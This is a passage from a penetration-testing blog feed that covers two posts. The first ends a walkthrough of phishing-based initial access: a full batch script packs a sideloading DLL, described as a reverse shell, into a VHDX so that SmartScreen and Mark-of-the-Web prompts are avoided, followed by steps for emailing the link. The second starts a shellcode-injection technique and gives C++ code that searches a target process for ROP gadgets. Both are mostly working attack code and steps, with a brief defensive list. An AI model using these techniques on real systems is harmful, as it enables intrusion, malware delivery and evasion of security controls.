  <li>Zip the files inside of a VHDX file like we did earlier.  This is my recommended approach, but it comes with a catch.  The VMDK file will prompt for approval to mount, but once mounted the new drive will open automatically and present the user with both files.  The files contained within the VHDX will NOT require approval to execute.  You can click on the .exe and no SmartScreen will come up!</li>
</ul>

<h2 id="bringing-it-all-together">Bringing it all Together!</h2>

<p>Let’s wrap this up shall we!  I wish I could go further into all my research on this topic but I’ve got a lot on my plate these days so this post will have to do for the time being 😺  I’ll be sharing additional content to supplement this blog post on my ko-fi shop though, as per my usual routine!</p>

<p>Ok, let’s start by creating a fresh VHDX disk file and move our DLL and renamed <strong>ApplicationFrameHost.exe</strong> into it.  I also wish to make and preserve the hidden attribute for the DLL file.  Most folks might be put off by seeing a random DLL file plus it’s just tacky to leave that visible on a pentest.  Here’s my revised script to handle all of that.  Notice how I use <strong>xcopy.exe</strong> to handle the preservation of the hidden file attribute:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@echo <span class="na">off</span>
<span class="nb">setlocal</span> <span class="na">enabledelayedexpansion</span>

<span class="kd">set</span> <span class="kd">VHD_PATH</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentUpdate.vhdx
<span class="kd">set</span> <span class="kd">VHD_SIZE_MB</span><span class="o">=</span><span class="m">64</span>
<span class="kd">set</span> <span class="kd">EXE_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentRetrieval.exe
<span class="kd">set</span> <span class="kd">SCRIPT_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\UMPDC.dll

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Creating</span> <span class="m">1</span><span class="kd">GB</span> <span class="kd">VHDX</span>...
<span class="o">(</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span> <span class="kd">maximum</span><span class="o">=</span><span class="nv">%VHD_SIZE_MB%</span> <span class="nb">type</span><span class="o">=</span><span class="kd">expandable</span>
<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">attach</span> <span class="kd">vdisk</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">partition</span> <span class="kd">primary</span>
<span class="nb">echo</span> <span class="nb">format</span> <span class="kd">fs</span><span class="o">=</span><span class="kd">ntfs</span> <span class="nb">label</span><span class="o">=</span><span class="s2">"Documents2026"</span> <span class="kd">quick</span>
<span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="kd">X</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="c">REM Detect actual letter if X taken</span>
<span class="k">for</span> <span class="vm">%%d</span> <span class="k">in</span> <span class="o">(</span><span class="kd">X</span> <span class="kd">Y</span> <span class="kd">Z</span> <span class="kd">W</span> <span class="kd">V</span> <span class="kd">U</span> <span class="kd">T</span> <span class="kd">S</span> <span class="kd">R</span> <span class="kd">Q</span> <span class="kd">P</span> <span class="kd">O</span> <span class="kd">N</span> <span class="kd">M</span> <span class="kd">L</span> <span class="kd">K</span> <span class="kd">J</span> <span class="kd">I</span> <span class="kd">H</span> <span class="kd">G</span> <span class="kd">F</span> <span class="kd">E</span> <span class="kd">D</span> <span class="kd">C</span> <span class="kd">B</span> <span class="kd">A</span><span class="o">)</span> <span class="k">do</span> <span class="o">(</span>
    <span class="k">if</span> <span class="ow">exist</span> <span class="vm">%%d</span>:\ <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Drive</span> <span class="vm">%%d</span>: <span class="kd">available</span><span class="o">?</span> <span class="kd">No</span>.
    <span class="o">)</span> <span class="k">else</span> <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Assigning</span> <span class="vm">%%d</span>:
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">disk</span> <span class="nv">!disknum!</span>
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">partition</span> <span class="m">1</span>
        <span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>
        <span class="kd">set</span> <span class="kd">DRIVE_LETTER</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="k">goto</span> <span class="nl">:copy</span>
    <span class="o">)</span>
<span class="o">)</span>

<span class="nl">:copy</span>

<span class="nb">xcopy</span> <span class="s2">"</span><span class="nv">%EXE_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span>
<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">xcopy</span> <span class="s2">"</span><span class="nv">%SCRIPT_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span> <span class="na">/h
</span><span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">detach</span> <span class="kd">vdisk</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Done</span>: <span class="nv">%VHD_PATH%</span> <span class="o">(</span><span class="kd">test</span> <span class="kd">mount</span> <span class="na">on</span> <span class="kd">target</span><span class="o">)</span>
<span class="nb">pause</span>
</code></pre></div></div>

<p>Go ahead and run that and be sure to zip the outputted VHDX file.  It’s almost 70MB otherwise 😆</p>

<p><img width="1000" height="695" alt="image" src="https://github.com/user-attachments/assets/6c0b5b6f-7ec3-4236-b6ca-d8e4e054eb2a" /></p>

<p>Now upload that zip file to your web host of choice and generate a link to it.  I’m still using Github for the purposes of this blog post.  Go ahead and prepare your email and add the link to the body of the email, and send it.  I’m using gmail to send the email per our example from earlier:</p>

<p><img width="669" height="630" alt="image" src="https://github.com/user-attachments/assets/5ce15083-8fcc-4938-81a0-9191e5a34907" /></p>

<p>Here’s the receiving of the email from my other email address, an <strong>outlook.com</strong> email:</p>

<p><img width="1569" height="550" alt="image" src="https://github.com/user-attachments/assets/544ace4b-8929-47bc-bdd0-b19723d16602" /></p>

<p>Let’s click the link!  Notice we receive no browser security warnings and the file downloads.</p>

<p><img width="1145" height="757" alt="image" src="https://github.com/user-attachments/assets/304a9492-445d-4437-ac1f-3fdfbfcd139a" /></p>

<p><img width="454" height="230" alt="image" src="https://github.com/user-attachments/assets/95de5e7d-ba17-48cb-a478-9340a49d7b65" /></p>

<p>Click on it.  The zip opens without a prompt:</p>

<p><img width="852" height="242" alt="image" src="https://github.com/user-attachments/assets/e6c41b1e-5604-4bd8-91be-426d3e601d86" /></p>

<p>Now, double click the VHDX file.  You will receive an initial prompt, which can’t be avoided to my knowledge.  Go ahead and accept:</p>

<p><img width="645" height="536" alt="image" src="https://github.com/user-attachments/assets/0b40cca9-c0ff-412e-9acf-6ece69624dde" /></p>

<p>You’ll notice we are greeted with our Payload and no DLL file is visible (unless the client has show hidden files enabled):</p>

<p><img width="802" height="298" alt="image" src="https://github.com/user-attachments/assets/b529d10a-82e4-473a-8d94-2c16c0adf724" /></p>

<p>Double click our Payload.  Notice no SmartScreen warning and our payload runs as expected and DLL sideloads our planted DLL!  My dll is a reverse shell btw, as you can see in the screenshot below 😸</p>

<p><img width="1672" height="858" alt="image" src="https://github.com/user-attachments/assets/0c6ec51f-e77a-4923-8ecc-089e4de87de8" /></p>

<p>Thus completes my take on ways to tackle initial access using email and bypassing MOTW ad SmartScreen Restrictions 😅</p>

<h2 id="️blue-team-defensive-strategies-to-avoid-this-attack-vector-️">🛡️Blue Team Defensive Strategies to Avoid this Attack Vector 🛡️</h2>

<p><strong>Here’s a quick overview on some ways you can get in front of this type of initial access attack vector:</strong></p>

<ul>
  <li>Block all these email attachments, to name a few: (.ZIP, .ISO, .IMG, .VHD, .VHDX, .EXE, .JS, .VBS, .HTA, .PS1, .PY)</li>
  <li>Have your EDR solution monitor for LOTL (<strong>Living off the Land</strong>) binaries being used outside of the System32 folder</li>
  <li>Disallow execution of disk files for your average users.  IT techs are really the only users who need this functionality</li>
  <li>Convince Microsoft to stop allowing DLL sideloading, though the onus is generally on the programmer to enforce loading all DLLs from strict paths such as System32 😸</li>
  <li>Be restrictive on the types of attachments and outside emails you permit sending to your organization</li>
</ul>

<h2 id="source-code">Source Code</h2>

<p><strong>Source code for the basic DLL that executes a MessageBox (Be sure to set the Build to ‘Release’ in Visual Studio!):</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-2-21-Initial%20Access%20and%20Outsmarting%20SmartScreen/dllmain.cpp">DLL Source Code</a></p>

<p><strong>Source code for the final BAT script that creates the VHDX file:</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-2-21-Initial%20Access%20and%20Outsmarting%20SmartScreen/createvhdx.bat">VHDX Source Code</a></p>

<h2 id="-bonus-content-for-members-sapphire-tier-">🎁 <strong><em>Bonus Content for Members! (Sapphire Tier)</em></strong> 🎁</h2>

<p>📓Script for Sending emails via the commandline: <a href="https://ko-fi.com/s/266c89f70c">Send an email using SWAKS in Linux via Bash</a> 📓
📹 Video demonstration of using the Script (<strong>Video link located in description in the ko-fi shop: You MUST be signed in with your gmail address to view the private video!</strong>): <a href="https://ko-fi.com/s/266c89f70c">Video demonstration</a> 📹</p>

<p>📹 Video Walkthrough for Sending your initial access payload: <a href="https://ko-fi.com/s/4e59907ab1">Video demonstration</a> 📹</p>

<h2 id="-bonus-content-for-members-emerald--diamond-tiers-">🎁 <strong><em>Bonus Content for Members! (Emerald + Diamond Tiers)</em></strong> 🎁</h2>

<ul>
  <li>🗒️ DLL source code that includes Module stomping + reverse shell shellcode (127.0.0.1:9001) and Threading to defeat Loader Lock: <a href="https://ko-fi.com/s/dee5b5c3f3">Source Code</a></li>
  <li>🗒️ Source code for my Python download and exec shellcode in Memory Script: <a href="https://ko-fi.com/s/0938624695">Source Code</a></li>
</ul>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><a href="https://app.any.run/tasks/d0f36e4e-066b-4149-b27e-5fea939a6e48?p=6999d551ec59c7e2c66d9bda">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Initial Access" /><category term="Initial Access" /><category term="Pentest" /><category term="SmartScreen" /><category term="Pentesting Payload" /><category term="2026" /><category term="MOTW" /><category term="Bypasssing Mark of the Web" /><category term="g3tsyst3m" /><category term="email payloads" /><category term="email attachment bypass EDR" /><category term="Initial Foothold" /><summary type="html"><![CDATA[I’ve had a number of people ask me what approaches I have taken to secure that initial foothold on a machine/network during a pentest engagement. Well, the blunt and honest answer to that question is…it depends 😸 Initial access comes in many forms and depending on the type of pentest engagement, you will be afforded or NOT afforded various types of “lures” you can use to acquire that first foothold. Most clients are open to the pentest team exhausting all their resources and offensive tooling to truly assess the client’s security controls. If not they should be. Because in a real world attack, you better believe the threat actor will not hold back! In today’s post, I’ll be going over a very traditional approach to achieving initial access using email as our attack vector of choice. I’ll go over various ways to send the email (gui and non-gui) and using attachments versus links. I’ll also explain how to contend with MOTW (Mark of the Web) and SmartScreen security restrictions on your downloaded payloads for the modern Windows 11 environment.]]></summary></entry><entry><title type="html">Living off the Process</title><link href="https://g3tsyst3m.com/lotp/Living-off-the-Process/" rel="alternate" type="text/html" title="Living off the Process" /><published>2026-01-29T00:00:00+00:00</published><updated>2026-01-29T00:00:00+00:00</updated><id>https://g3tsyst3m.com/lotp/Living%20off%20the%20Process</id><content type="html" xml:base="https://g3tsyst3m.com/lotp/Living-off-the-Process/"><![CDATA[<p>Hello again everyone!  Hope the start to the new year is treating you well.  I am excited to share a new blog post with you!  Furthermore, I’d consider the content shared in today’s post to be the most time I’ve spent in researching a particular offensive security topic/technique 😹 I’d say I spent well over a month looking into this exciting topic and I wanted to make sure I had all my research completed before I jumped in to making a post.  Without further ado, I give you my take on what I’d like to call: <code class="language-plaintext highlighter-rouge">Living off the Process</code>!  This is a technique that does as the name implies: We use what is already available to us in the remote process of our choosing to accomplish a given goal.  In this case, the goal will be to write shellcode indirectly into the remote process with as low of a footprint as possible.  When I say indirectly, I mean we won’t be using <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to write the shellcode.  That API does play a small role, but ultimately we will be indirectly writing our shellcode in 8 byte chunks using ROP gadgets and assembly stubs all made available in the remote process.  We will also avoid the creation of RWX regions of memory.  Here’s a quick overview on how it all works.  We will be looking for:</p>

<ul>
  <li><strong>Existing RWX memory regions already available that were created by the process of interest</strong></li>
  <li><strong>Existing ROP gadgets to help us write our shellcode</strong></li>
  <li><strong>Hijacking an existing thread within the remote process to manipulate / set register values via SetThreadContext</strong></li>
  <li><strong>Using registers, assembly stubs + our collected gadgets to copy shellcode in 8 byte chunks into one of the previously discovered RWX regions of memory (This is the most exciting aspect of the technique in my personal opinion😸)</strong></li>
  <li><strong>Set RSP to a fake stack which will point to our hijacked region of memory holding our shellcode and execute the shellcode!</strong></li>
  <li><strong>Profit!</strong></li>
</ul>

<p>At no point will we use conventional means of writing our shellcode into the remote process with the exception of writing assembly stubs which will contain 8 byte increments of our shellcode.  It will all make more sense in due time I promise, just keep on reading 😸  Essentially, we will be truly exhausting all that is already available to the remote process itself.  This concept of <code class="language-plaintext highlighter-rouge">Living off the Process</code> has intrigued me for quite some time.  I don’t know how novel the concept really is.  I did know this: I knew it was possible and had to dive in and research it to truly understand the capabilities of such a technique.  I’m on a modern Windows 11 25h2 with all security features enabled btw.  I’ve got a lot of information to cover, so let’s get started!</p>

<h2 id="so-living-off-the-process-huh">So, Living off the Process huh?</h2>

<p>Yes! 😆  It may seem overkill to do all the aforementioned prepwork just to copy shellcode into a remote process, but the benefits far outweigh the labor involved.  Think about it: If everything that we need is already available to a given process, all we are required to do is to take the existing artifacts and repurpose them for our needs.  No need for overusing WriteProcessMemory, VirtualAlloc, injecting a DLL, etc.  This way, everything you need to manipulate the remote process is self-contained and already available to the process.  Furthermore, we’ll be working with a process that EDR has already blessed 😸  So, just like Living off the Land, we take a similar approach.  Using what’s already available to the process, which in turn should lower our EDR footprint on the machine considerably.</p>

<h2 id="video-teaser-for-an-in-depth-technical-walkthrough-of-this-blog-post">Video Teaser for an In-Depth Technical Walkthrough of this Blog Post</h2>

<iframe width="560" height="315" src="https://www.youtube.com/embed/6-eOvC7Rh28" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Full In-Depth Walkthrough can be found at my ko-fi shop: 📹 <a href="https://ko-fi.com/s/35ab60ff88">Ko-Fi Subscribers</a> 📹</p>

<h2 id="part---1-collecting-rop-gadgets">Part - 1: Collecting ROP Gadgets</h2>

<p>Since we will be using Registers (you know…RAX, RBX, RCX, RDX, R8, R9, and so on… ) to eventually write our shellcode, we need to find existing ROP gadgets in the process to accomplish this.  The most important ROP gadget we will be using is:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span> <span class="p">[</span><span class="nb">rax</span><span class="p">],</span> <span class="nv">r8</span><span class="c1">; ret</span>
</code></pre></div></div>

<p>Where <code class="language-plaintext highlighter-rouge">R8</code> will hold 8-byte chunks of our shellcode and <code class="language-plaintext highlighter-rouge">RAX</code> will point to the memory address for the shellcode in the remote process.  You can use any two registers to handle this, I just so happened to choose these two because they seemed to be available across many of the processes I tested on my Windows 11 box.</p>

<p>So, here’s how it works: We will be copying the initial 8 bytes, then increasing both RAX and R8 by 8 to get the next 8 bytes in memory and the next 8 bytes of shellcode respectively.  I soon realized it’s difficult locating <code class="language-plaintext highlighter-rouge">add r8, 8; ret</code> and <code class="language-plaintext highlighter-rouge">add rax, 8; ret</code> gadgets.  Even <code class="language-plaintext highlighter-rouge">inc r8; ret</code> and <code class="language-plaintext highlighter-rouge">inc rax; ret</code> were difficult to locate.  So, I went with another angle to accomplish the portion of my ROP gadget chain that would handle the 8 byte increments which you’ll see later.  For now, let me show you how I found these gadgets.  I’m old school, so I don’t always use Ropper.  I like to work exclusively within x64dbg for most of my gadget searching needs these days.  Here’s a quick crash course on how to find gadgets using <code class="language-plaintext highlighter-rouge">x64Dbg</code>:</p>

<p><strong>Step 1: Choose File, Attach, and find a process you want to search for gadgets in</strong></p>

<p><img width="656" height="383" alt="image" src="https://github.com/user-attachments/assets/6de815b0-87ef-4099-8d69-59f2630a41b0" /></p>

<p><strong>Step 2: Right click on the main window and following the visual below</strong></p>

<p><img width="568" height="555" alt="image" src="https://github.com/user-attachments/assets/6fb34ead-bac1-45cc-8f7c-52790e8bc1fe" /></p>

<p><strong>Step 3: Type in mov [rax], r8 in the window that pops up and hit enter.  This is so we can understand what the machinecode instructions are for this command</strong></p>

<ul>
  <li><strong>Double-click on any entry from the listed results</strong></li>
</ul>

<p><img width="227" height="143" alt="image" src="https://github.com/user-attachments/assets/2a9cbcba-4778-4595-be96-87588e192c24" /></p>

<p><strong>Copy the machinecode/shellcode!</strong></p>

<p><img width="386" height="21" alt="image" src="https://github.com/user-attachments/assets/8dcc13e0-f00f-4686-8b2e-f1ed7477c4f6" /></p>

<p><strong>Next, we need to find the gadget with the <code class="language-plaintext highlighter-rouge">ret</code> command included.  so, mov [rax], r8; ret.  We can do that easily enough.  Follow along with the visuals below to use the Pattern Search feature in x64dbg:</strong></p>

<p><img width="565" height="493" alt="image" src="https://github.com/user-attachments/assets/8308be32-be12-45c0-b39e-3160259f78f2" /></p>

<p><strong>Type in the machine code values you acquired earlier: `4C 89 00 C3’ (C3 = ret in machine code) and hit enter</strong></p>

<p><img width="433" height="237" alt="image" src="https://github.com/user-attachments/assets/12b3e7c6-b490-4d8c-a195-e7e24b7855ea" /></p>

<p><strong>Double-click on any you find in the returned results:</strong></p>

<p><img width="171" height="103" alt="image" src="https://github.com/user-attachments/assets/789ac61a-931e-4c40-9c6d-1daea57814fb" /></p>

<p>You should see your ROP gadget and the module it was found in!  This confirms that particular gadget lives in this process.  W00t!</p>

<p><img width="441" height="123" alt="image" src="https://github.com/user-attachments/assets/b11c9229-1e95-4be7-9a40-4c458438ab22" /></p>

<p>That’s it!  Now that you know how to find gadgets, you’re good to go.  Let me show you the code for using them now.  You’ll see we add in our machine code instructions we found in x64dbg.  Machine code is the lowest level form of Assembly code.  so in the case of <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret', </code>0x4C, 0x89, 0x00, 0xC3` = machine code representation of the assembly code instructions.  I should have said that earlier but alas I got ahead of myself 😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Target PID: "</span> <span class="o">&lt;&lt;</span> <span class="n">pid</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="c1">// Find gadgets (in order of execution)</span>
    <span class="n">BYTE</span> <span class="n">gadget0</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xC3</span> <span class="p">};</span> <span class="c1">// ret</span>
    <span class="n">PVOID</span> <span class="n">pgadget0</span> <span class="o">=</span> <span class="n">FindGadget</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">gadget0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gadget0</span><span class="p">),</span> <span class="s">"ret"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgadget0</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[-] Could not locate any gadgets for: ret"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">BYTE</span> <span class="n">gadget3</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x4C</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xC3</span> <span class="p">};</span> <span class="c1">// mov [rax], r8; ret</span>
    <span class="n">PVOID</span> <span class="n">pgadget3</span> <span class="o">=</span> <span class="n">FindGadget</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">gadget3</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gadget3</span><span class="p">),</span> <span class="s">"mov [rax], r8; ret"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgadget3</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[-] Could not locate any gadgets for mov [rax], r8; ret"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">BYTE</span> <span class="n">gadget12</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x5C</span><span class="p">,</span> <span class="mh">0xC3</span> <span class="p">};</span> <span class="c1">// pop rsp; ret  (go with a non-volatile register)</span>
    <span class="n">PVOID</span> <span class="n">pgadget12</span> <span class="o">=</span> <span class="n">FindGadget</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">gadget12</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gadget12</span><span class="p">),</span> <span class="s">"pop rsp; ret "</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgadget12</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[-] Could not locate any gadgets for pop rsp; ret "</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p><strong>And the FindGadget() function that finds the memory address for each gadget!</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PVOID</span> <span class="nf">FindGadget</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">pid</span><span class="p">,</span> <span class="k">const</span> <span class="n">BYTE</span><span class="o">*</span> <span class="n">gadget</span><span class="p">,</span> <span class="n">SIZE_T</span> <span class="n">gadgetSize</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">description</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_QUERY_INFORMATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_READ</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span> <span class="k">return</span> <span class="nb">nullptr</span><span class="p">;</span>

    <span class="n">HMODULE</span> <span class="n">hMods</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
    <span class="n">DWORD</span> <span class="n">cbNeeded</span><span class="p">;</span>
    <span class="n">PVOID</span> <span class="n">gadgetAddress</span> <span class="o">=</span> <span class="nb">nullptr</span><span class="p">;</span>

    <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Searching for "</span> <span class="o">&lt;&lt;</span> <span class="n">description</span> <span class="o">&lt;&lt;</span> <span class="s">L"..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">EnumProcessModulesEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">hMods</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hMods</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cbNeeded</span><span class="p">,</span> <span class="n">LIST_MODULES_ALL</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="n">cbNeeded</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">HMODULE</span><span class="p">))</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">gadgetAddress</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">MODULEINFO</span> <span class="n">modInfo</span><span class="p">;</span>
            <span class="n">WCHAR</span> <span class="n">modName</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">GetModuleInformation</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">hMods</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">modInfo</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">modInfo</span><span class="p">))</span> <span class="o">||</span>
                <span class="o">!</span><span class="n">GetModuleBaseNameW</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">hMods</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">modName</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">))</span> <span class="k">continue</span><span class="p">;</span>

            <span class="n">MEMORY_BASIC_INFORMATION</span> <span class="n">mbi</span><span class="p">{};</span>
            <span class="k">for</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span> <span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">modInfo</span><span class="p">.</span><span class="n">lpBaseOfDll</span><span class="p">;</span> <span class="n">addr</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">modInfo</span><span class="p">.</span><span class="n">lpBaseOfDll</span> <span class="o">+</span> <span class="n">modInfo</span><span class="p">.</span><span class="n">SizeOfImage</span><span class="p">;</span> <span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">VirtualQueryEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">mbi</span><span class="p">)))</span> <span class="k">break</span><span class="p">;</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">mbi</span><span class="p">.</span><span class="n">State</span> <span class="o">==</span> <span class="n">MEM_COMMIT</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">mbi</span><span class="p">.</span><span class="n">Protect</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">PAGE_EXECUTE</span> <span class="o">|</span> <span class="n">PAGE_EXECUTE_READ</span> <span class="o">|</span> <span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">|</span> <span class="n">PAGE_EXECUTE_WRITECOPY</span><span class="p">)))</span> <span class="p">{</span>
                    <span class="n">BYTE</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="k">new</span> <span class="n">BYTE</span><span class="p">[</span><span class="n">mbi</span><span class="p">.</span><span class="n">RegionSize</span><span class="p">];</span>
                    <span class="n">SIZE_T</span> <span class="n">bytesRead</span><span class="p">;</span>
